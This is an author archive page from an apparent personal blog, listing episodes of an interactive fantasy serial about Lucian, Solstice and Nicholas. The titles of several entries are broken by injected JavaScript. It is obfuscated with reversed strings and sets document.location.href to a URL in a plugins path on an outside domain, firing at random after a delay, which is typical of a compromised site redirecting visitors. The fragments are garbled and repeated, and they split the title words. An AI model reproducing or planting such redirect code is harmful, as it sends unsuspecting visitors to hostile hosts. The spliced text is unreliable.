Author Archives: Zelda
Thon 13: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part VIII
Lucian checks his map as the sun sets slowly. As a group, and with Solstice’s blessing, they had opted to take a lesser-known path back to his kingdom, Eyanea. Lucian frowns a bit, thinking back to the moment of decision. … Continue reading
Thon 12: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Update
You guys really do surprise me, sometimes. ::grins:: The first time was when you thought Solstice should go home (or elsewhere) rather than go to Eyanea. And now – you’ve surprised me again. Based on your last response of whether … Continue reading
Thon 11: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part VII
Wow. You all have given me quite the curveball. Okay, here we go. Solstice has opted to be taken – elsewhere…. “Lady Solstice, I am glad to see you will be able to go home.” Nicholas comes up behind the … Continue reading
Thon 10: Change in Format
Okay, here’s how this is going to have to work. My brain is not functioning as quickly as I want it to function and it’s making me feel utterly – unhappy with myself. ::sigh:: So, here’s my proposal. I go … Continue reading
Thon 9: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part VI
The small trio makes for the ship. Nicholas had shown Lucian a more efficient way of getting out of the manor house. For right now, Lucian was hoping to get away from Tyradih without incident. He knew there was a … Continue reading